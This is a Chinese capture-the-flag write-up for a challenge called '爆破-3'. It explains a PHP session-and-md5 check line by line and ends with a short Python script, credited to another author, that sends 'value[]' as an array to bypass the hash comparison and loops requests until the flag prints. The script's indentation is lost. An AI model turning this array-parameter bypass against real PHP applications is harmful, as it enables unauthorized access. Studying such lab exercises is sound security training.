爆破-3

它提示我们这个真的是爆破。。。。好吧,我有点不信,他这个糟老头在坏得很

看看代码

1.第一句是规定报告错误级别为0,也就是Disable error reporting不报告错误

2.第二句是存储session数据,也就是在网页上给服务器个信息,我们来了

3.第三句是require函数:也是引用flag.php的意思,不过与include不同的是,如果产生错误则会停止执行网页,而include会继续执行

4.然后是一个if结构,先判断$_SESSION['nums']是否为空或则为NULL,如果不是则让$_SESSION['nums'] = 0$_SESSION['time'] = time()time() 函数返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数$_SESSION['whoami'] = 'ea'。

5.然后又是一个if判断,当这个session的值+120后小于当前时间就执行session_destroy()函数:销毁session

6.valuepost的形式传入

7.创建一个从az的数组让其等于str_rand

8.生成两个随机的str_rand然后让他们连接起来赋值给str_rands

9.一个if结构,如果whoami等于数组的首位和第二位,并且变量value的散列值从第五位到第九位等于0则让nums+1,让whoami的值等于str_rands,然后打印出str_rands

10.如果nums的值大于10则打印flag

浏览整段代码,意思就是我们整个过程需要在打开网页的2分钟内完成,然后value的值为aenums的值就+1,然后再生成一个随机数据,如果value又等于这个值则会让nums再次+1,反复重复直到nums大于10就输出flag

所以这里使用脚本爆破(附上一个dalao的脚本)

import requests

url = "http://53617f45ee114de4945b1fc8661d2c36844810d2d02f4882.changame.ichunqiu.com//?value[]=ea"

al = ['abcdefghijklmnopqrstuvwxyz']

s = requests.session()

r = s.get(url)

for i in range(20):
url = "http://53617f45ee114de4945b1fc8661d2c36844810d2d02f4882.changame.ichunqiu.com//?value[]=" + r.content[0:2]
r = s.get(url)
print r.content

注:url为自己的网页链接

就可以得到flag

原文地址:https://www.cnblogs.com/wosun/p/11240963.html